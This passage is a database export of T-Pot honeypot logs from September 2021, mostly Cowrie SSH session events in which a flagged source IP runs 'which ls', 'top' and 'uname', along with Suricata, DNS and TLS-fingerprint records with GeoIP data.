"t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32448	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:13.152083+03	2021-09-20 15:00:03.494754+03	{"_id": "EAYLA3wBvYTbRNuEv0p9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:13.152083Z", "@timestamp": "2021-09-20T11:51:13.152Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32449	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:15.657435+03	2021-09-20 15:00:03.495718+03	{"_id": "GgYLA3wBvYTbRNuEx0pP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "81.71.14.9", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5696802139282227, "duplicate": true, "timestamp": "2021-09-20T11:51:15.657435Z", "@timestamp": "2021-09-20T11:51:15.657Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32450	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:16.052132+03	2021-09-20 15:00:03.496747+03	{"_id": "HAYLA3wBvYTbRNuEy0o4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:16.052132Z", "@timestamp": "2021-09-20T11:51:16.052Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32451	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:17.051385+03	2021-09-20 15:00:03.497748+03	{"_id": "IgYLA3wBvYTbRNuEz0oh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:17.051385Z", "@timestamp": "2021-09-20T11:51:17.051Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32452	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:17.993089+03	2021-09-20 15:00:03.498747+03	{"_id": "JQYLA3wBvYTbRNuE00oK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:17.993089Z", "@timestamp": "2021-09-20T11:51:17.993Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32453	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:24.384382+03	2021-09-20 15:00:03.499749+03	{"_id": "PQYLA3wBvYTbRNuE6kp9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "81.71.14.9", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5698065757751465, "duplicate": true, "timestamp": "2021-09-20T11:51:24.384382Z", "@timestamp": "2021-09-20T11:51:24.384Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32454	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:26.759708+03	2021-09-20 15:00:03.500717+03	{"_id": "RgYLA3wBvYTbRNuE8kpP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:26.759708Z", "@timestamp": "2021-09-20T11:51:26.759Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32455	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:29.721803+03	2021-09-20 15:00:03.502717+03	{"_id": "VQYLA3wBvYTbRNuE_koK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:29.721803Z", "@timestamp": "2021-09-20T11:51:29.721Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32456	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:30.291637+03	2021-09-20 15:00:03.503718+03	{"_id": "VgYMA3wBvYTbRNuEAUry", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "81.71.14.9", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5699183940887451, "duplicate": true, "timestamp": "2021-09-20T11:51:30.291637Z", "@timestamp": "2021-09-20T11:51:30.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32457	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:31.666776+03	2021-09-20 15:00:03.504717+03	{"_id": "WgYMA3wBvYTbRNuEBUrc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:31.666776Z", "@timestamp": "2021-09-20T11:51:31.666Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32458	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:31.66731+03	2021-09-20 15:00:03.506716+03	{"_id": "WwYMA3wBvYTbRNuEBUrc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:31.667310Z", "@timestamp": "2021-09-20T11:51:31.667Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32459	221.181.185.94	109.199.241.180	Cowrie	2021-09-20 14:51:32.345169+03	2021-09-20 15:00:03.507717+03	{"_id": "YwYMA3wBvYTbRNuECUrG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "221.181.185.94", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 32.7893, "location": {"lat": 32.7893, "lon": 119.4418}, "timezone": "Asia/Shanghai", "city_name": "Gaoyou", "longitude": 119.4418, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "221.181.185.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 221.181.185.94:40687 (192.168.176.2:22) [session: 48fc6e9add0d]", "session": "48fc6e9add0d", "@version": "1", "protocol": "ssh", "src_port": 40687, "dest_port": 22, "timestamp": "2021-09-20T11:51:32.345169Z", "@timestamp": "2021-09-20T11:51:32.345Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32460	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:32.235412+03	2021-09-20 15:00:03.508716+03	{"_id": "ZAYMA3wBvYTbRNuECUrG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "81.71.14.9", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.568718433380127, "duplicate": true, "timestamp": "2021-09-20T11:51:32.235412Z", "@timestamp": "2021-09-20T11:51:32.235Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32461	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:32.603244+03	2021-09-20 15:00:03.509716+03	{"_id": "ZQYMA3wBvYTbRNuECUrG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:32.603244Z", "@timestamp": "2021-09-20T11:51:32.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32462	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:32.603779+03	2021-09-20 15:00:03.510716+03	{"_id": "ZgYMA3wBvYTbRNuECUrG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:32.603779Z", "@timestamp": "2021-09-20T11:51:32.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32463	221.181.185.94	109.199.241.180	Suricata	2021-09-20 14:51:33.308189+03	2021-09-20 15:00:03.511716+03	{"_id": "ZwYMA3wBvYTbRNuEC0o3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:51:32.020702+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 1128}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA TCPv4 invalid checksum", "signature_id": 2200074}, "geoip": {"ip": "221.181.185.94", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 32.7893, "location": {"lat": 32.7893, "lon": 119.4418}, "timezone": "Asia/Shanghai", "city_name": "Gaoyou", "longitude": 119.4418, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "221.181.185.94", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 215639398830302, "payload": "VAMAAAUUVpZHhTKm5/RDtALTYZ6MCwAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAABJIpVJlA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 40687, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:51:33.308189Z", "@timestamp": "2021-09-20T11:51:33.308Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "T.....V.G.2...C...a.......ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.............I\\".I."}}	1	\N	\N	alert	known attacker	\N
32464	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:33.171663+03	2021-09-20 15:00:03.513716+03	{"_id": "aAYMA3wBvYTbRNuEDUqs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "81.71.14.9", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5685007572174072, "duplicate": true, "timestamp": "2021-09-20T11:51:33.171663Z", "@timestamp": "2021-09-20T11:51:33.171Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32465	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:34.525572+03	2021-09-20 15:00:03.514716+03	{"_id": "cQYMA3wBvYTbRNuEEUqW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:34.525572Z", "@timestamp": "2021-09-20T11:51:34.525Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32466	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:51:34.522392+03	2021-09-20 15:00:03.515717+03	{"_id": "eAYMA3wBvYTbRNuEE0oJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 2797, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3180, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1608606814762029, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 42541, "timestamp": "2021-09-20T11:51:34.522392Z", "@timestamp": "2021-09-20T11:51:34.522Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32467	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:51:34.908944+03	2021-09-20 15:00:03.516717+03	{"_id": "egYMA3wBvYTbRNuEFEoR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35760, "timestamp": "2021-09-20T11:51:34.908944", "@timestamp": "2021-09-20T11:51:34.908Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
